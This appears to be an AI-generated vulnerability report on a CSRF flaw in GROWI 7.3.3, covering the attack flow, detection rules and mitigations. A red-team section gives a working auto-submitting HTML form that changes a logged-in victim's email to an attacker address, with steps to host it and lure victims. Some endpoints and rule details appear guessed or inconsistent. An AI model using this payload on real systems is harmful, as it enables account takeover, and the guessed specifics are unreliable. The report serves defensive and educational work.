CVE-2025-64700

Executive Summary

CVE-2025-64700 is a Cross-Site Request Forgery (CSRF) vulnerability affecting GROWI versions 7.3.3 and earlier. An attacker can trick an authenticated user into performing unintended actions by luring them to a malicious page. The vulnerability has a CVSS score of 4.3 (Medium) and currently has no known public exploit or patch. The EPSS score is 0.0%, indicating low exploitation activity in the wild. This report provides a comprehensive technical analysis, detection guidance, and mitigation strategies.

Supply Chain & Package Security

GROWI is a Node.js application distributed via npm. The vulnerability exists in the core application logic, not in a specific dependency. However, organizations using GROWI should verify their deployment version and apply any future patches promptly. No malicious packages have been identified in the supply chain related to this CVE.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: Low
• Availability Impact: None

The threat level is considered Medium due to the requirement for user interaction and the limited impact on integrity. However, in a context where GROWI is used for sensitive document management, the ability to perform unintended operations (e.g., deleting pages, changing permissions) could have significant consequences.

Deep Dive & Mechanics

The vulnerability is a classic CSRF flaw. GROWI does not implement anti-CSRF tokens or SameSite cookie attributes on sensitive state-changing endpoints. An attacker can craft a malicious HTML page that, when viewed by an authenticated GROWI user, automatically submits a forged request to the GROWI server. Because the user's browser automatically includes session cookies, the server processes the request as legitimate.

Attack Flow:

1. Attacker identifies a state-changing endpoint (e.g., /pages/delete, /users/change-email).
2. Attacker crafts a malicious page with an auto-submitting form or an image tag pointing to that endpoint.
3. Attacker lures the victim (who is logged into GROWI) to visit the malicious page.
4. The victim's browser sends the forged request with the session cookie.
5. GROWI processes the request, performing the unintended action.

Key Weakness: Lack of CSRF protection (e.g., synchronizer tokens, SameSite=Strict/Lax cookies, or custom headers).

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable pattern.

Vulnerable Code (Conceptual):

// GROWI route handler without CSRF check
app.post('/api/pages/delete', (req, res) => {
  const pageId = req.body.pageId;
  // Directly delete the page without verifying the request origin
  Page.deleteOne({ _id: pageId });
  res.sendStatus(200);
});

Patched Code (Expected):

// Patched route handler with CSRF token validation
const csrfProtection = csrf({ cookie: true });
app.post('/api/pages/delete', csrfProtection, (req, res) => {
  const pageId = req.body.pageId;
  // CSRF token is validated before processing
  Page.deleteOne({ _id: pageId });
  res.sendStatus(200);
});

The patched version would include a middleware that validates a CSRF token sent with the request, ensuring the request originated from the legitimate GROWI interface.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy GROWI v7.3.3 using Docker: docker run -d -p 3000:3000 weseek/growi:7.3.3
2. Create a user account and log in.
3. Identify a CSRF-vulnerable endpoint (e.g., changing user email).

Exploitation Steps:

1. Create a malicious HTML file (csrf_exploit.html):

<html>
<body>
  <h1>Click me!</h1>
  <form id="csrf" action="http://target-growi:3000/api/users/change-email" method="POST">
    <input type="hidden" name="email" value="attacker@evil.com">
  </form>
  <script>
    document.getElementById('csrf').submit();
  </script>
</body>
</html>

2. Host the file on an attacker-controlled server.
3. Send the link to the victim (logged into GROWI).
4. When the victim visits the page, their email is changed to attacker@evil.com.

Note: No public exploit code exists; this is a conceptual example.

Blue Team

Detection:

• Monitor for unexpected POST requests to sensitive endpoints (e.g., /api/users/*, /api/pages/*) that lack a Referer header or have an unexpected Origin.
• Look for a high volume of requests from a single IP to multiple state-changing endpoints.
• Analyze web server logs for requests with Content-Type: application/x-www-form-urlencoded to sensitive endpoints without a CSRF token.

Prevention:

• Implement CSRF tokens on all state-changing forms.
• Set SameSite=Strict or Lax on session cookies.
• Validate the Origin and Referer headers on the server side.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /api/users/change-email, /api/pages/delete, or similar endpoints without a Referer header matching the GROWI domain.
  • Requests with Origin header set to an external domain.
• Host:
  • Unexpected changes to user profiles (email, password) or page deletions in GROWI audit logs.
  • Presence of malicious HTML files on user machines (though not directly on the server).
• Logs:
  • Web server logs showing POST requests to sensitive endpoints with Referer: http://attacker.com/.

Detection Engineering

YARA Rule

rule CVE_2025_64700_CSRF_Exploit {
  meta:
    description = "Detects malicious HTML files attempting CSRF against GROWI"
    author = "Valters IT"
    date = "2025-04-10"
    reference = "CVE-2025-64700"
  strings:
    $csrf_form = /<form[^>]*action=["']http:\/\/[^"']*growi[^"']*["']/
    $csrf_method = /method=["']POST["']/
    $auto_submit = /submit\(\)/
  condition:
    all of them
}

Sigma Rule

title: GROWI CSRF Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential CSRF attacks against GROWI by monitoring for POST requests to sensitive endpoints without a valid Referer.
author: Valters IT
date: 2025-04-10
logsource:
  category: webserver
  product: apache
  service: access_combined
detection:
  selection:
    cs-method: POST
    cs-uri-stem:
      - '/api/users/*'
      - '/api/pages/*'
      - '/api/settings/*'
  filter:
    cs-referer:
      - 'http://target-growi.example.com/*'
      - 'https://target-growi.example.com/*'
  condition: selection and not filter
falsepositives:
  - Legitimate requests from the same origin (if Referer is missing due to browser privacy settings)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-64700 GROWI CSRF Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/api/"; http_uri; pcre:"/\/api\/(users|pages|settings)\//"; pcre:"/Referer\x3a\x20(?!http:\/\/target-growi)/Hi"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade GROWI: Monitor the official GROWI repository for a patched version. As of now, no patch exists, so consider disabling sensitive operations or implementing a WAF rule.
2. Web Application Firewall (WAF): Deploy a WAF rule to block POST requests to sensitive endpoints that do not include a valid CSRF token or have an unexpected Origin header.
3. Cookie Hardening: Set the SameSite attribute to Strict or Lax on GROWI session cookies. This can be done by configuring the web server or application settings.
4. User Education: Advise users not to click on suspicious links while logged into GROWI.

Long-Term Fixes:

• Implement CSRF Tokens: Add anti-CSRF tokens to all state-changing forms using a library like csurf (for Express.js).
• Custom Header Validation: Require a custom header (e.g., X-Requested-With: XMLHttpRequest) for all AJAX requests.
• Origin/Referer Validation: On the server side, validate the Origin and Referer headers to ensure requests originate from the GROWI domain.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.